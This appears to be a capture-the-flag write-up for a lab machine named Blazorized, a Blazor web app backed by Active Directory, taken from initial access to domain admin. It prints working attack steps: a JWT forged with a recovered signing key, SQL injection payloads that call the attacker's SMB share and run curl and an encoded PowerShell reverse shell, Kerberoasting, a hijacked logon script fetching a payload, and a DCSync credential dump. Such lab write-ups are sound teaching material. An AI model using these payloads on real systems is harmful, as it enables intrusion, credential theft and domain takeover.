BLAZOR JWT | Nu_1055

Nmap scan:

We have wiki-like web app built with the Blazor WEB Assembly:

We have limited access to this page for it's more likely a private knowledge base in beta mode:

Try to find some subdomains:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://blazorized.htb" -H "HOST: FUZZ.blazorized.htb" -c -fs 144

We have an admin panel on admin.blazorized.htb, which requires credentials to login.

Then I used FFUF to continue to perform directory enumeration with some wordlists, but it did not give out valuable information. The Blazor framework is not like usual web application using C# and .NET instead of JavaScript. Blazor WebAssembly (The other part is Blazor Server) runs client-side in the browser on a WebAssembly-based .NET runtime:

  • Initial load: When we navigates to the app, the browser downloads the application's dependencies, including the .NET runtime, .NET assemblies, and any other static files (like CSS and images).
  • Rendering: The .NET runtime initializes, and the Blazor app’s components are rendered to the HTML DOM using WebAssembly. The components are C# classes that render HTML using Razor syntax.
  • Event-handeling: User interactions like button clicks are handled asynchronously. Blazor captures these events and triggers the corresponding C# methods. That's the reason we cannot hack it as usual web apps.
  • Asynchronous operation: It supports asynchronous programming using async and await keywords. Network calls, file I/O, and other operations that can take time are executed asynchronously to keep the UI responsive.
  • SignalR: Use SignalR for real-time communication between the client and the server. SignalR can use WebSockets, Server-Sent Events, or Long Polling to maintain a persistent connection. The data transmitted over this connection is often in a binary format or JSON, which can appear obfuscated if we're not familiar with the structure.

Anyway, I dived deeper into the Blazor Project Structure on Github reading its documentation.

This gives us a basic understanding about the project. Blazor often has specific patterns and practices, especially for how static assets are handled and how the client-side environment is set up. These are some Blazor-specific Endpoints:

  • /_framework/blazor.webassembly.js: This script is essential for running Blazor WebAssembly apps. It initializes and loads the .NET runtime.
  • /_framework/wasm/: This directory often contains the WebAssembly binaries and other related files.

The _framework directory is a special directory used by Blazor applications to store the framework files required for the Blazor WebAssembly runtime.

By exploring its source code, we can discover some Javascript sources:

Deobfuscate the Javascripts, which are too long to demonstrate in this post:

Save them as TXT files and we can use grep command to extract valid paths for resources:

grep -oE '[^ ]+/[^ ]+' blazor.webassembly.js

We see the path _framework/blazor.boot.json in the outcome, which is crucial for Blazor WebAssembly applications. It contains metadata about the application, such as the list of DLLs (assemblies) that need to be loaded, the entry point, and other configuration details necessary to boot the Blazor application in the browser:

Except those default DLL files for the framework, extract the ones customzied by the developers:

{
"Blazored.LocalStorage.dll": "sha256-5V8ovY1srbIIz7lzzMhLd3nNJ9LJ6bHoBOnLJahv8Go=",
"Blazorized.DigitalGarden.dll": "sha256-YH2BGBuuUllYRVTLRSM+TxZtmhmNitErmBqq1Xb1fdI=",
"Blazorized.Shared.dll": "sha256-Bz\/iaIKjbUZ4pzYB1LxrExKonhSlVdPH63LsehtJDqY=",
"Blazorized.Helpers.dll": "sha256-ekLzpGbbVEn95uwSU2BGWpjosCK\/fqqQRjGFUW0jAQQ="
}
  • Blazored.LocalStorage.dll: Allows us to store and retrieve data in the local storage.
  • Blazorized.DigitalGarden.dll: A custom assembly specific to the Blazor application. Contain code related to the "Digital Garden" feature or functionality.
  • Blazorized.Shared.dll: Contains shared code and resources used across different parts of the Blazor application.Include common models, services, or utility functions.
  • Blazorized.Helpers.dll: A custom assembly that contains helper functions or utilities used throughout the Blazor application.

Download them under the /_framework/ directory. Decompile using DNSpy, we can find out Blazorized.DigitalGarden introduces how the JWT (JSON Web Token) is being handled within the CategoriesHttpClientService (or the PostsHttpClientService, they are similar) class:

The constructor initializes the HttpClient and sets its base address as http://api.blazorized.htb:

public CategoriesHttpClientService(HttpClient httpClient)
{
    this.httpClient = httpClient;
    this.httpClient.BaseAddress = new Uri("http://api.blazorized.htb");
}

The SetJWTTokenHeader Method sets the JWT token and configures the Authorization header for the HttpClient with the Bearer scheme:

public void SetJWTTokenHeader(string jwt)
{
    try
    {
        this.jwt = jwt;
        this.httpClient.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", this.jwt);
    }
    catch (Exception)
    {
    }
}

Once the JWT token is set using SetJWTTokenHeader, any HTTP request made using this HttpClient will include the JWT token in the Authorization header.

Now we know the web app use JWT to authenticate. Look into other DLL files, we can discover the Blazorized.Helpers namespace contains methods for generating and verifying JWTs.

First, the GetSigningCredentials method generates signing credentials using a Symmetric Security Key and the HS512 algorithm:

private static SigningCredentials GetSigningCredentials()
{
    SigningCredentials result;
    try
    {
        result = new SigningCredentials(new SymmetricSecurityKey(Encoding.UTF8.GetBytes(JWT.jwtSymmetricSecurityKey)), "HS512");
    }
    catch (Exception)
    {
        throw;
    }
    return result;
}

The GenerateTemporaryJWT method generates a temporary JWT with specific claims and an expiration duration:

public static string GenerateTemporaryJWT(long expirationDurationInSeconds = 60L)
{
    string result;
    try
    {
        List<Claim> list = new List<Claim>
        {
            new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
            new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.postsPermissionsClaimValue),
            new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.categoriesPermissionsClaimValue)
        };
        string text = JWT.issuer;
        string text2 = JWT.apiAudience;
        IEnumerable<Claim> enumerable = list;
        SigningCredentials signingCredentials = JWT.GetSigningCredentials();
        DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
        JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
        result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
    }
    catch (Exception)
    {
        throw;
    }
    return result;
}

The GenerateSuperAdminJWT method generates a JWT for a super admin with specific claims and an expiration duration:

public static string GenerateSuperAdminJWT(long expirationDurationInSeconds = 60L)
{
    string result;
    try
    {
        List<Claim> list = new List<Claim>
        {
            new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
            new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.superAdminRoleClaimValue)
        };
        string text = JWT.issuer;
        string text2 = JWT.adminDashboardAudience;
        IEnumerable<Claim> enumerable = list;
        SigningCredentials signingCredentials = JWT.GetSigningCredentials();
        DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
        JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
        result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
    }
    catch (Exception)
    {
        throw;
    }
    return result;
}

The VerifyJWT method just verifies the validity of a JWT using specified token validation parameters, which is not our concern.

Constants are used in the JWT generation and verification process, which we will need to impersonate [email protected] to login the admin panel, including the Security Key:

private static readonly string jwtSymmetricSecurityKey = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a";  
private static readonly string superAdminEmailClaimValue = "[email protected]";
private static readonly string postsPermissionsClaimValue = "Posts_Get_All";
private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";
private static readonly string superAdminRoleClaimValue = "Super_Admin";
private static readonly string issuer = "http://api.blazorized.htb";
private static readonly string apiAudience = "http://api.blazorized.htb";
private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";

With this information, now we can generate a JWT for the Super Admin on https://jwt.io.

First we set the algorithm to HS512. Then add the necessary claims (role) to the payload from the GenerateSuperAdminJWT method:

{
  "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "[email protected]",
  "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Super_Admin",
  "iss": "http://api.blazorized.htb",
  "aud": "http://admin.blazorized.htb",
  "exp": <expiration_timestamp>
}

Replace <expiration_timestamp> with a valid Unix timestamp representing the expiration time.

Lastly, use the provided jwtSymmetricSecurityKey to sign the token:

Now we have the JWT:

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FkbWluLmJsYXpvcml6ZWQuaHRiIiwiZXhwIjoxNzM1Njg5NjAwfQ.opBCtnN3kxPKa9I_fTKDWcfTiP9AmBXQBUHq1s7gt01uWSNZn87Jwlj6tKrHvHkv6xSvhFVlgodYHwnECXEJ_A

In previous analysis, we know that the JWT token and configures the Authorization header with the Bearer scheme. We need to send this token in the Authorization header when making requests to protected resources:

Authorization: Bearer <token>

However, we cannot use this JWT of Super admin to access the admin panel directly, unlike the temporary JWT for the wiki-like main page (The following JWT is for temporary user to access the page):

With the temporary JWT added to the HTTP header, we can now access restricted resources on the page:

However, for the admin panel, to access a Blazor WebAssembly app using a pre-existing JWT for authentication, we need to manually handle the token. This involves configuring the Blazor app to use the token for API requests (which we don't need to in this case) and ensuring the token is stored and sent with each request.

I don't aim to explain it too much in this post, but we can check the server.blazor.js source code, which we can discover from the admin.blazorized.htb source code, if interested.

In short, the _getNegotiationResponse method in that JS code sends a negotiation request to obtain the connectionToken (we can observe this in Burpsuite among the initial requests to admin.blazorized.htb). After obtaining the connectionToken, a WebSocket connection or other types of transport we introduced previously is established.

Therefore, we cannot simply add the JWT to access the admin subdomain. We need to add it to the local storage to make sure we make each request with it. Simply open the browser console and execute the following Javascript commands:

let token = 'eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FkbWluLmJsYXpvcml6ZWQuaHRiIiwiZXhwIjoxNzM1Njg5NjAwfQ.opBCtnN3kxPKa9I_fTKDWcfTiP9AmBXQBUHq1s7gt01uWSNZn87Jwlj6tKrHvHkv6xSvhFVlgodYHwnECXEJ_A';
localStorage.setItem('jwt', token);

The paramter is jwt as we get it from the previous C# code:

After adding the JWT to the local storage, refresh the page and we will make our access to the admin panel:

The welcome page of the admin panel says Hi to us. There're 2 SQL injection potential surfaces obviously:

Try some weird input, the reaction of the server becomes abnormal:

Use the payloads in PayloadsAllTheThings, we can test either of the attack surfaces with the MSSQL UNC Path, and set up an SMB server in advance to receive the requests:

1'; use master; exec xp_dirtree '\\10.10.16.4\SHARE';--

MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree function to list the files in our SMB share and grab the NTLMv2 hash:

We even got the NTLM hash for the Domain Controller. But unluckily all the hashes are uncrackable. And we can find out that although the SQLi works, the responses do not give us relevant feedback, meaning we need to perform blind injection

But we can test the xp_cmdshell (we played with this a lot for the Freelancer box) combined with exfiltration techniques. Set up an HTTP listener, test the following injection payload also from PayloadsAllTheThings:

1'; EXEC master.dbo.xp_cmdshell 'curl 10.10.16.4/?axura=hello';--

Cool. Now we can execute commands to get a reverse shell with the following payload:

1'; EXEC master.dbo.xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBj ...';--

We are now user Nu_1055 and take the user flag:

WRITESPN | RSA_4810

As usual, we can manage to switch an MSF shell:

No AV, run Winpeas:

NU_1055::BLAZORIZED:1122334455667788:94219cc737173811598e1117c266ffdd:01010000000000006d663d8ecbcada01b4f48d68364a57fb000000000800300030000000000000000000000000210000bfd998d9da22b8e6eabde04aeb3bad2939160ea2528e1b12add50a94917b93aa0a00100000000000000000000000000000000000090000000000000000000000

From the command whoami /priv in previous steps we know that user nu_1055 has the right of SeMachineAccountPrivilege. But we dont have neccessary prerequisites for the attack.

From BloodHound, we can discover the current user nu_1055 has writeSPN Privilege on the RSA_4801 account:

We can perform a Kerberos-based attack such as Ghost SPN-jacking and Kerberoasting, assign it to the other computer/server, and perform a full S4U attack to compromise it.

In our case, start Powershell, import PowerView.ps1. We will need the Set-DomainObject and Get-DomainSPNTicket functions:

Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='axura/ghost'}

Once the SPN is set, we can simply (we cannot request a service ticket using Impacket without a password in this case):

Get-DomainSPNTicket -SPN axura/ghost

It requests a service ticket for a non-existed SPN axura/ghost as a dummy name, and we should receive the ticket in Hash format:

Use Hashcat and we can get the password:

hashcat -m 13100 -a 0 hash.txt /path/to/wordlist.txt

The password looks quite weird though. So I used another method to verify the outcome. We can also execute Rubeus to request and dump tickets:

.\Rubeus.exe kerberoast /user:RSA_4810 /domain:blazorized.htb /dc:DC1.blazorized.htb

And we got the same result, with more detailed SamAccountName and other attributes using Rubeus:

Fine, use Evil-winrm to logon as user RSA_4810 for she is member of the Remote Management group:

LOGON SCRIPT HIJACK | SSA_6010

User RSA_4810 is member of group Remote_Support_Administrators:

This could be a custom group (?), allowing us to perform various administrative tasks such as:

  • Creating or managing user accounts.
  • Modifying system configurations.
  • Installing or removing software.
  • Accessing and modifying all files on the system.

With higher local privilge, we can run Winpeas again to gather information. We have some new writable file paths:

Folder: C:\windows\tasks
    FolderPerms: Authenticated Users [WriteData/CreateFiles]

Folder: C:\windows\system32\tasks
    FolderPerms: Authenticated Users [WriteData/CreateFiles]

Winpeas is not that reliable on finding writable files somehow. I used Accesschk to look for sensive writable files manually under different directories for the 'C:\' path:

accesschk.exe -w -s -u BLAZORIZED\RSA_4810 "C:\windows"

Something out of the Winpeas scope under 'C:\windows' seems interesting:

SYSVOL directory is commonly used for logon scripts and Group Policy data.

Get into the file path under the directory A32FF3AEAA23, which we have write privilege. There are many hierarchies along with tons of scripts under the SYSVOL path. So we need to gather more information to find connections to perfrom privesc.

Run BloodHound after moving to MSF shell (failed to load it with Evil-winrm shell). No juice.

Use Powerview for further enumeration. Enumerate domain users and groups:

Get-NetUser
Get-NetGroup
Get-NetGroupMember -GroupName "GroupName"

I found a suspicious user SSA_6010, who has a huge count number of logon tries (4000+) for every minute:

Besides, we can see the user is running a logon script from the scriptpath attribute \\dc1\NETLOGON\A32FF3AEAA23\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030, which is a network path to a logon script for the user SSA_6010 (It could be the reason why the user logons so frequently and why adPEAS cracked when scanning Netlogon access rights each time I ran it).

This path indicates that there is a logon script stored in the NETLOGON share on the domain controller (dc1). It is commonly used to store logon scripts and other policies that need to be executed when a user logs onto a machine within the domain.

But we don't have Netlogon-share-relative privileges as user RSA_4810 to run commands like net share or net view. Since we found out that we have write privileges for certain files inside the 'C:\Windows\SYSVOL' path, continue to check the files mentioned in above results:

icacls C:\windows\sysvol\domain\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030.bat
icacls C:\windows\sysvol\sysvol\blazorized.htb\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030.bat

Which we both have write access as RSA_4810:

And we can look for more details with the Powershell command (Same as the other one under C:\windows\sysvol\sysvol\blazorized.htb):

Get-Acl "C:\windows\sysvol\domain\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030.bat" | Format-List -Property *

These BAT files are owned by builtin Administrators. In Windows, .bat (batch) files are scripts that contain a series of commands to be executed by the command-line interpreter, cmd.exe. These scripts are often used to automate repetitive tasks, configure system settings, or manage files and processes:

  • System maintenance scripts.
  • Logon/logoff scripts.
  • Application deployment scripts.
  • Backup scripts.

The original files contain a TO-DO message to imply us writing the logonScript for SSA_6010:

Therefore, we can either modify the 2C0A3DFE2030.bat under the deep paths above, or simply use the Set-ADUser command to update the ScriptPath for user SSA_6010:

Set-ADUser -Identity SSA_6010 -ScriptPath "A32FF3AEAA23\rev.bat"
  • We set the ScriptPath as C:\windows\sysvol\sysvol\blazorized.htb\A32FF3AEAA23 or the other similar ones, because we have write privilege.
  • rev.bat is the BAT script file we are going to create for a reverse shell.

The ScriptPath attribute in Active Directory must be a path relative to the \\dc1\netlogon share, otherwise SSA_6010 is not able to access it as a logon script.

Since all domain controllers replicate the contents of the NETLOGON share, the relative path ensures that the script can be found on any domain controller in the domain. Including the full UNC path would tie the script to a specific domain controller, which is not desirable in a multi-controller environment.

This means we can only specify the path starting after the root path of the NETLOGON share, not an absolute path.

We can use this command to verify if our configuration ready:

Get-ADUser -Identity "SSA_6010" -Properties * | Select-Object -Property DistinguishedName, ObjectClass, SamAccountName, UserPrincipalName, SecurityIdentifier, ScriptPath, logonCount

And the logonCount attribute keeps increasing because SSA_6010 just tries hard to re-logon.

Now we are ready to write the malicious BAT file rev.bat into the specific path. First generate a PowerShell reverse shell as rev4446.ps1 in my case, which we can embed it in a batch file later:

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHM ...

When creating batch files via PowerShell, the default encoding is not compatible with how the scripts are executed in the logon process. Specifying the encoding as ASCII ensures that the batch file will be interpreted correctly.

I set up an SMB server to host the PowerShell payload, which the batch script can then fetch and execute:

impacket-smbserver -smb2support share

After then, we can write a powershell script UpdateBatchFiles.ps1 to retrieve the reverse shell script and complete the attack:

# Embed PS into the batch file content
$batContent = Get-Content -Path "\\10.10.16.4\share\rev4446.ps1"

# Create the batch file with ASCII encoding
$batFilePath = "C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\rev.bat"
$batContent | Out-File -FilePath $batFilePath -Encoding ASCII

Run the UpdateBatchFiles.ps1 script on the victim machine:

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force
.\UpdateBatchFiles.ps1

Now the rev.bat will be created in the desired path. After a while, we are able to receive the reverse shell as user SSA_6010:

DCSYNC | Administrator

Run BloodHound again, we can see that SSA_6010 is member of Super_Support_Administrators group:

Which has DCSync privilege to the machine:

This is a free root. The DCSync privilege in Active Directory refers to the ability to request replication of user credentials from a Domain Controller, essentially mimicking the behavior of a Domain Controller. This privilege allows an attacker to obtain the password hashes of all users in the domain, including the hashes of domain administrators.

  • Replication Rights: A user or group with DCSync rights can request directory replication from a Domain Controller. This includes user password hashes.
  • High Impact: Having this privilege is extremely powerful as it can allow an attacker to impersonate any user in the domain by obtaining their password hash and cracking or passing the hash.
  • Privilege Escalation: We can escalate our privileges by retrieving the hashes of higher privileged accounts, such as domain administrators.

Therefore, simply run Mimikaz, along with command:

lsadump::dcsync /domain:blazorized.htb /user:Administrator

Then we can use the NTLM hash to straight forward Pass-the-Hash with Evil-winrm:

Root as Administrator.


Are you watching me?